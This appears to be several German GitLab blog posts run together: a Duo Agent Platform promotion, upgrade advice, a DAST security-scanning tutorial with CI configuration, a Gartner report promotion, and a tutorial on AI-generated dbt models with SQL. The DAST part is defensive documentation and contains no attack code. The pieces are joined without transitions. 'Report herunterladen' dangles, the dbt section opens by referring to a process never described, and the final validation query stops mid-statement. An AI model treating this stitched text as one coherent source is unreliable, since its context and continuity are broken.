Aktiviere Beta- und experimentelle Features in GitLab Duo Agent Platform heute und erlebe, wie Full-Context-KI die Art und Weise transformieren kann, wie deine Teams Software bauen. Neu bei GitLab? Starte deine kostenlose Testversion und entdecke, warum die Zukunft der Entwicklung KI-gestützt, sicher und durch die weltweit umfassendste DevSecOps-Plattform orchestriert ist.

Bleib auf dem neuesten Stand mit GitLab

Um sicherzustellen, dass du die neuesten Features, Sicherheitsupdates und Performance-Verbesserungen erhältst, empfehlen wir, deine GitLab-Instanz aktuell zu halten. Die folgenden Ressourcen können dir bei der Planung und Durchführung deines Upgrades helfen:

• Upgrade Path Tool – gib deine aktuelle Version ein und sieh die exakten Upgrade-Schritte für deine Instanz
• Upgrade-Dokumentation – detaillierte Anleitungen für jede unterstützte Version, einschließlich Anforderungen, Schritt-für-Schritt-Anweisungen und Best Practices

Durch regelmäßige Upgrades stellst du sicher, dass dein Team von den neuesten GitLab-Funktionen profitiert und sicher und unterstützt bleibt.

Für Organisationen, die einen Hands-off-Ansatz wünschen, bietet sich GitLabs Managed Maintenance Service an. Mit Managed Maintenance bleibt dein Team auf Innovation fokussiert, während GitLab-Experten deine Self-Managed-Instanz zuverlässig aktualisiert, sicher und bereit für die Führung in DevSecOps halten. Frage deinen Account Manager nach weiteren Informationen.

Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in diesen Aussagen reflektierten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass tatsächliche Ergebnisse oder Resultate wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren findest du unter der Überschrift „Risk Factors" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu überarbeiten, außer wenn gesetzlich erforderlich.

Static Code Analysis erkennt nur Schwachstellen im Quellcode. Runtime-Sicherheitsprobleme bleiben verborgen, wenn Anwendungen mit realen Umgebungen, Drittanbieter-Services und Benutzer-Workflows interagieren. Dynamic Application Security Testing (DAST) schließt diese Lücke. GitLab DAST automatisiert Penetrationstests in CI/CD-Pipelines und validiert Sicherheit kontinuierlich ohne Workflow-Unterbrechung.

Warum DAST für deutsche Unternehmen?

DAST testet Anwendungen in ihrer Betriebsumgebung und identifiziert Schwachstellen, die statische Analysen übersehen. GitLab DAST integriert sich in Shift-Left Security-Workflows und stärkt Compliance und Risikomanagement.

Runtime-Schwachstellen-Erkennung

DAST identifiziert Sicherheitsschwachstellen in laufenden Anwendungen. DAST-Scanner interagieren mit Live-Anwendungen wie externe Angreifer und decken Probleme auf wie:

• Authentifizierungs- und Session-Fehler, die unbefugten Zugang ermöglichen
• Schwachstellen bei der Eingabevalidierung, einschließlich SQL-Injection, Cross-Site-Scripting (XSS) und Command-Injection
• Konfigurationsschwächen in Webservern, Datenbanken und Anwendungs-Frameworks
• Fehler in der Geschäftslogik aus Benutzerinteraktionen
• API-Sicherheitsprobleme, einschließlich unsachgemäßer Authentifizierung, Autorisierung und Datenexposition

DAST ergänzt andere Sicherheitstest-Ansätze für umfassende Anwendungssicherheits-Abdeckung. In Kombination mit Static Application Security Testing (SAST), Software Composition Analysis (SCA), manuellen Penetrationstests und vielen anderen Scanner-Typen füllt DAST kritische Lücken in der Sicherheitsvalidierung:

• Externe Testperspektive, die reale Angriffsszenarien nachahmt
• Umgebungsspezifische Tests, die Sicherheit in tatsächlichen Produktionsumgebungen validieren
• Drittanbieter-Komponenten-Tests, einschließlich APIs, Bibliotheken und externe Services
• Konfigurationsvalidierung über den gesamten Anwendungsstack hinweg

Nahtlose Shift-Left Security Integration

GitLab DAST integriert sich in CI/CD-Pipelines und identifiziert Sicherheitsprobleme früh im Entwicklungszyklus. Dieser Shift-Left-Ansatz bietet Vorteile:

• Kostensenkung – Schwachstellen während der Entwicklung zu beheben kostet 10 bis 100 Mal weniger als Korrekturen in der Produktion.
• Schnellere Markteinführung – Tests eliminieren Engpässe durch manuelle Security-Reviews.
• Entwickler-Stärkung – Sofortiges Feedback baut Sicherheitsbewusstsein auf.

Compliance und Risikomanagement

Regulierungsrahmen und Industriestandards fordern regelmäßige Sicherheitstests von Webanwendungen. DAST erfüllt Compliance-Anforderungen für Standards wie:

• PCI DSS für Anwendungen, die Zahlungskartensdaten verarbeiten
• SOC 2 Sicherheitskontrollen für Service-Organisationen
• ISO 27001 Informationssicherheits-Management-Anforderungen

GitLab DAST automatisiert Tests konsistent und wiederholbar. Auditoren vertrauen den Ergebnissen, während Berichte die nötige Dokumentation für Compliance-Validierung liefern.

DAST implementieren

Vor der Implementierung von GitLab DAST stellen Sie sicher, dass Ihre Umgebung folgende Anforderungen erfüllt:

• GitLab Version und Ultimate-Abonnement – DAST ist in GitLab Ultimate verfügbar und benötigt GitLab 13.4 oder später für volle Funktionalität; jedoch wird die neueste Version empfohlen.
• Anwendungszugänglichkeit – Ihre Anwendung muss über HTTP/HTTPS mit einer öffentlich erreichbaren URL oder innerhalb des Netzwerks Ihres GitLab Runners zugänglich sein.
• Authentifizierung-Setup – Falls Ihre Anwendung Authentifizierung erfordert, bereiten Sie Test-Credentials vor oder konfigurieren Sie Authentifizierungs-Bypass-Mechanismen für Sicherheitstests.

Systematische DAST-Integration: Drei Konfigurationsebenen

Grundkonfiguration für sofortigen Start: Die einfachste DAST-Integration erfolgt durch Template-Einbindung in Ihre .gitlab-ci.yml Datei:

include:
  - template: DAST.gitlab-ci.yml

variables:
  DAST_WEBSITE: "https://your-application.example.com"

Diese Basiskonfiguration wird:

• Einen DAST-Scan gegen Ihre spezifizierte Website ausführen
• Einen Sicherheitsbericht in GitLabs Security Dashboard generieren
• Die Pipeline fehlschlagen lassen, falls hochschwere Schwachstellen erkannt werden
• Scan-Ergebnisse als Pipeline-Artefakte speichern

Systematische Pipeline-Integration: Für umfassende CI/CD-Vorteile können Sie zuerst die Anwendung deployen und DAST so konfigurieren, dass es nur nach erfolgtem Deployment läuft:

stages:
  - build
  - deploy
  - dast

include:
  - template: Security/DAST.gitlab-ci.yml

# Konfiguriert DAST für aktive Scans auf Nicht-Main-Branches und passive Scans auf Main-Branch
dast:
  stage: dast
  rules:
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      variables:
        DAST_FULL_SCAN: "false"
    - if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH
      variables:
        DAST_FULL_SCAN: "true"
  dependencies:
    - deploy

Passive vs. Active Scanning verstehen

GitLab DAST verwendet zwei unterschiedliche Scanning-Methodologien (passiv und aktiv), die jeweils verschiedene Sicherheitstest-Bedürfnisse erfüllen.

Passive Scans analysieren Server-Antworten ohne das Senden potenziell schädlicher Anfragen:

• Untersuchen HTTP-Headers, Cookies und Antwortinhalte auf Sicherheits-Fehlkonfigurationen
• Identifizieren Information-Disclosure-Schwachstellen wie exponierte Server-Versionen
• Erkennen fehlende Sicherheits-Headers (CSP, HSTS, X-Frame-Options)
• Analysieren SSL/TLS-Konfiguration und Zertifikatsprobleme

Active Scans senden gestaltete Anfragen, die Schwachstellen auslösen sollen:

• Testen auf Injection-Schwachstellen (SQL-Injection, XSS, Command-Injection)
• Versuchen Authentifizierungs- und Autorisierungs-Fehler auszunutzen
• Validieren Input-Sanitization und Output-Encoding
• Testen auf Business-Logic-Schwachstellen

Hinweis: Der DAST-Scanner ist standardmäßig auf passiv eingestellt.

Authentifizierungs-Konfiguration

Enterprise-Authentifizierung für vollständige Abdeckung: DAST benötigt Authentifizierungs-Konfiguration für umfassende Sicherheitsabdeckung:

variables:
  DAST_AUTH_USERNAME: "admin@tanuki.local"
  DAST_AUTH_PASSWORD: "admin123"
  DAST_AUTH_USERNAME_FIELD: "css:input[id=email]"
  DAST_AUTH_PASSWORD_FIELD: "css:input[id=password]"
  DAST_AUTH_SUBMIT_FIELD: "css:button[id=loginButton]"
  DAST_AUTH_REPORT: "true"
  DAST_REQUEST_COOKIES: "welcomebanner_status:dismiss"

Verfügbare Authentifizierungs-Optionen:

• Einstufige Login-Formulare
• Mehrstufige Login-Formulare
• Authentifizierung zu URLs außerhalb des Zielbereichs

Ergebnisse in Merge Requests anzeigen

GitLabs DAST integriert Sicherheits-Scanning nahtlos in Ihren Entwicklungsworkflow durch direkte Anzeige der Ergebnisse in Merge Requests. Diese umfassen umfassende Schwachstellen-Daten, die Entwicklern helfen, Sicherheitsprobleme vor der Integration zu identifizieren und zu beheben.

Schwachstellen-Details

• Schwachstellen-Name und -Typ (z.B. SQL-Injection, XSS, CSRF)
• Schweregrad (Critical, High, Medium, Low, Info)
• CVSS-Score wenn anwendbar
• Common Weakness Enumeration (CWE) Identifier
• Vertrauensniveau des Befunds

Standort-Informationen

• URL/Endpoint, wo die Schwachstelle erkannt wurde
• Verwendete HTTP-Methode (GET, POST, etc.)
• Request/Response-Details der verwundbaren Interaktion
• Parameter-Namen, die verwundbar sind
• Nachweis der Schwachstelle

Systematische Schwachstellen-Governance

Schwachstellen im Default-Branch verwalten Sie über den GitLab Vulnerability Report - ein zentralisiertes Dashboard, das alle Sicherheitsbefunde über Ihr Projekt oder Organisation zeigt. Diese Ansicht sammelt alle Sicherheitstest-Ergebnisse und bietet Filter- und Sortier-Funktionen, um Behebungsmaßnahmen zu priorisieren.

Die Vulnerability-Seite bietet umfassende Schwachstellen-Daten. Von hier aus können Sie Schwachstellen durch Status-Zuweisung triagieren:

• Needs triage (Standard)
• Confirmed
• Dismissed (Acceptable risk, False positive, Mitigating control, Used in tests, Not applicable)
• Resolved

Wenn ein Schwachstellen-Status geändert wird, enthält das Audit-Log eine Notiz darüber, wer es geändert hat, wann es geändert wurde und den Grund für die Änderung. Dieses umfassende System ermöglicht Sicherheitsteams effiziente Priorisierung, Tracking und Management von Schwachstellen während ihres gesamten Lebenszyklus.

On-Demand und geplante DAST-Scans

GitLab bietet flexible Scanning-Optionen über Standard-CI/CD-Pipeline-Integration hinaus durch On-Demand und geplante DAST-Scans. On-Demand-Scans ermöglichen Sicherheitsteams und Entwicklern, DAST-Tests manuell bei Bedarf zu initiieren, ohne auf Code-Änderungen oder Pipeline-Trigger zu warten.

On-Demand-Scans können mit benutzerdefinierten Parametern, Ziel-URLs und Scanning-Profilen konfiguriert werden. Geplante DAST-Scans bieten automatisierte, zeitbasierte Sicherheitstests unabhängig vom Entwicklungsworkflow.

DAST in Compliance-Workflows

GitLabs Security-Policy-Framework ermöglicht Organisationen die Durchsetzung konsistenter Sicherheitsstandards über alle Projekte hinweg. Sicherheitsrichtlinien ermöglichen zentrale Governance von DAST-Scanning-Anforderungen.

Scan/Pipeline Execution Policies können konfiguriert werden, um DAST-Scans automatisch basierend auf spezifischen Bedingungen auszulösen. Merge Request Approval Policies bieten eine zusätzliche Sicherheits-Governance-Ebene durch erzwungene menschliche Review für Code-Änderungen, die Sicherheit beeinträchtigen könnten.

Für Compliance bietet GitLab Security Inventory und Compliance Center, die Ihnen ermöglichen zu überwachen, ob DAST in Ihrer Umgebung läuft und wo es erforderlich ist.

Zusammenfassung

GitLab DAST stellt eine mächtige Lösung für die Integration dynamischer Sicherheitstests in moderne Entwicklungsworkflows dar. Durch DAST-Implementierung in Ihrer CI/CD-Pipeline gewinnt Ihr Team die Fähigkeit, Runtime-Schwachstellen automatisch zu erkennen, Compliance mit Sicherheitsstandards aufrechtzuerhalten und sicherere Anwendungen ohne Geschwindigkeitseinbußen zu erstellen.

Der Schlüssel zur erfolgreichen DAST-Implementierung liegt darin, mit Grundkonfiguration zu beginnen und schrittweise zu sophistizierteren Scanning-Profilen entsprechend Ihrer Sicherheits-Reife zu expandieren. Beginnen Sie mit einfachem Website-Scanning, fügen Sie dann progressiv Authentifizierung, Custom Exclusions und erweiterte Berichte hinzu.

Denken Sie daran, dass DAST am effektivsten ist, wenn es mit anderen Sicherheitstest-Ansätzen kombiniert wird. Verwenden Sie es neben statischer Analyse, Dependency-Scanning und manuellen Security-Reviews für eine umfassende Sicherheitstest-Strategie.

Für detaillierte Implementierungsschritte, Authentifizierungs-Konfiguration und technische Setup-Anleitungen siehe den umfassenden englischen Implementierungsguide.

Report herunterladen.

Von KI-Funktionen zu intelligenter Zusammenarbeit

Die Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.

Die GitLab Duo Agent Platform ermöglicht es Entwickler(inne)n, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.

• Spezialisierte Agenten übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.
• Knowledge Graph verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.
• Mensch + Agent Kollaboration erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.
• Interoperabilität mit externen Tools und Systemen wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.

Wenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.

Security by Design, flexibel in der Praxis

Die GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen gewährleisten, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.

Die Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:

• Entwickler(innen) können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.
• Engineering-Führungskräfte erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.
• IT-Organisationen behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.

Führend beim Übergang zur KI-nativen Entwicklung

GitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass die Produktivität deines Teams auf der Plattform gesteigert wird. Bleib gespannt auf kommende Updates zu unserer Roadmap. Wir revolutionieren weiterhin die KI-native DevSecOps.

Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen und GitLab Duo Agent Platform heute ausprobieren.

Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025

GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.

Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.

Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.

Aber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie GitLab Duo Agent Platform umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.

Was wir aufbauen

Unser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite Datenplattform Snowflake. Bei GitLab haben wir drei Speicherebenen:

1. raw-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit

2. prep-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit

3. prod-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte

Für diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der prep-Ebene zur prod-Ebene verarbeiten.

Ohne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:

• Quellmodelle in der prep-Ebene

• Workspace-Modelle in der prod-Ebene

• Vollständige dbt-Konfigurationen für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz

• Test-Abfragen zur Validierung der Ergebnisse

Der gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:

1. Die Datenstruktur vorbereiten

Bevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol (MCP) mit unserer Snowflake-Instanz verbinden können:

SELECT 
    table_name,
    column_name,
    data_type,
    is_nullable,
    CASE 
        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'
        ELSE NULL 
    END as key_type
FROM raw.information_schema.columns

WHERE table_schema = 'REDDIT_ADS'

ORDER BY table_name, ordinal_position;

Diese Abfrage erfasst:

• Alle Tabellen- und Spaltennamen

• Datentypen für die korrekte Modellstruktur

• Nullable-Einschränkungen

• Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)

Profi-Tipp: Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie ad_group kontrollierte, die zwei nicht-nullable Spalten (account_id und id) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.

2. GitLab Duo einrichten

Es gibt zwei Möglichkeiten, mit GitLab Duo zu interagieren:

1. Web-UI-Chat-Funktion

2. Visual Studio Code-Plugin

Ich habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.

3. Den 'magischen' Prompt eingeben

Hier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:

Create dbt models for all the tables in the file structure.csv.


I want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.

I want to have workspace models created and store these in the workspace_marketing schema.


Take this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. 


Please check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/

Schlüsselelemente, die diesen Prompt effektiv machten:

• Klare Spezifikationen für sowohl Quell- als auch Workspace-Modelle

• Referenzbeispiel aus einem vorherigen ähnlichen Merge Request

• Style Guide-Referenz zur Sicherstellung von Codequalität und Konsistenz

• Spezifisches Schema-Targeting für ordnungsgemäße Organisation

4. GitLab Duos Prozess

Nach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:

1. Die CSV-Eingabedatei las und analysierte

2. Tabellenstrukturen aus den Metadaten untersuchte

3. Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte

4. Ähnliche Merge Requests berücksichtigte für die korrekte Strukturierung

5. Quellmodelle für alle 13 Tabellen generierte

6. Workspace-Modelle für alle 13 Tabellen erstellte

7. Unterstützende dbt-Dateien generierte:

   • sources.yml-Konfiguration
   • schema.yml-Dateien mit Tests und Dokumentation
   • Aktualisierte dbt_project.yml mit Schema-Referenzen

Die Ergebnisse

Die Ausgabe war bemerkenswert:

• 1 modifizierte Datei: dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)

• 29 neue Dateien:

  • 26 dbt-Modelle (13 Quell- + 13 Workspace-Modelle)
  • 3 YAML-Dateien

• Fast 900 Zeilen Code automatisch generiert

• Integrierte Daten-Tests, einschließlich Unique-Constraints auf Primärschlüssel-Spalten

• Generische Beschreibungen für alle Modelle und Spalten

• Saubere Deduplizierungs-Logik in Quellmodellen

• Saubere, konsistente Code-Struktur gemäß dem GitLab dbt-Style-Guide

transform/snowflake-dbt/

├── dbt_project.yml                                                    [MODIFIZIERT]

└── models/
    ├── sources/
    │   └── reddit_ads/
    │       ├── reddit_ads_ad_group_source.sql                        [NEU]
    │       ├── reddit_ads_ad_source.sql                              [NEU]
    │       ├── reddit_ads_business_account_source.sql                [NEU]
    │       ├── reddit_ads_campaign_source.sql                        [NEU]
    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]
    │       ├── reddit_ads_geolocation_source.sql                     [NEU]
    │       ├── reddit_ads_interest_source.sql                        [NEU]
    │       ├── reddit_ads_targeting_community_source.sql             [NEU]
    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]
    │       ├── reddit_ads_targeting_device_source.sql                [NEU]
    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]
    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]
    │       ├── reddit_ads_time_zone_source.sql                       [NEU]
    │       ├── schema.yml                                            [NEU]
    │       └── sources.yml                                           [NEU]
    └── workspaces/
        └── workspace_marketing/
            └── reddit_ads/
                ├── schema.yml                                        [NEU]
                ├── wk_reddit_ads_ad.sql                              [NEU]
                ├── wk_reddit_ads_ad_group.sql                        [NEU]
                ├── wk_reddit_ads_business_account.sql                [NEU]
                ├── wk_reddit_ads_campaign.sql                        [NEU]
                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]
                ├── wk_reddit_ads_geolocation.sql                     [NEU]
                ├── wk_reddit_ads_interest.sql                        [NEU]
                ├── wk_reddit_ads_targeting_community.sql             [NEU]
                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]
                ├── wk_reddit_ads_targeting_device.sql                [NEU]
                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]
                ├── wk_reddit_ads_targeting_interest.sql              [NEU]
                └── wk_reddit_ads_time_zone.sql                       [NEU]

Beispiel des generierten Codes

Hier ist ein Beispiel für die Qualität des generierten Codes. Für die time_zone-Tabelle erstellte GitLab Duo:

Prep-Ebene Quellmodell

WITH source AS (
  SELECT *
  FROM {{ source('reddit_ads','time_zone') }}
  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1
),


renamed AS (
  SELECT
    id::VARCHAR                               AS time_zone_id,
    code::VARCHAR                             AS time_zone_code,
    dst_offset::NUMBER                        AS time_zone_dst_offset,
    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,
    name::VARCHAR                             AS time_zone_name,
    offset::NUMBER                            AS time_zone_offset,
    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at
  FROM source
)


SELECT * FROM renamed

Schema.yml

models:
  - name: reddit_ads_time_zone_source
    description: Zeitzonendaten aus dem Reddit Ads-System
    columns:
      - name: time_zone_id
        description: Eindeutige Kennung für Zeitzoneneinträge
        data_tests:
          - unique
          - not_null
      - name: time_zone_code
        description: Code für die Zeitzone
      - name: time_zone_dst_offset
        description: Sommerzeitverschiebung für die Zeitzone
      - name: is_time_zone_dst_active
        description: Flag, das angibt, ob Sommerzeit aktiv ist
      - name: time_zone_name
        description: Name der Zeitzone
      - name: time_zone_offset
        description: Verschiebung für die Zeitzone
      - name: fivetran_synced_at
        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde

Source.yml

sources:
  - name: reddit_ads
    database: RAW
    schema: reddit_ads
    loaded_at_field: _fivetran_synced
    loader: fivetran
    description: Reddit Ads-Daten

    quoting:
      database: true
      schema: false
      identifier: false

    tables:
      - name: time_zone

Workspace-Modell

WITH source AS (
  SELECT *
  FROM {{ ref('reddit_ads_time_zone_source') }}
)


SELECT * FROM source

5. Qualitätsvalidierung

Nachdem der Code gut aussah, habe ich ihn zum MR gepusht und die CI-Test-Pipeline ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:

Create a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.

Die KI generierte eine umfassende Validierungsabfrage, die:

• Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich

• Die Deduplizierungs-Logik berücksichtigte

• Alle 13 Tabellen testete

• Datenerhaltungsprozentsätze berechnete

<details>

<summary>Generierte SQL-Test-Abfrage</summary>

-- Reddit Ads Zeilenanzahl-Validierungstest

-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene

-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen


WITH raw_counts AS (
  -- Tabellen mit einzelnem Primärschlüssel
  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count
  FROM RAW.REDDIT_ADS.AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_INTEREST
),


workspace_counts AS (
  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml
  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN
  
  UNION ALL
  
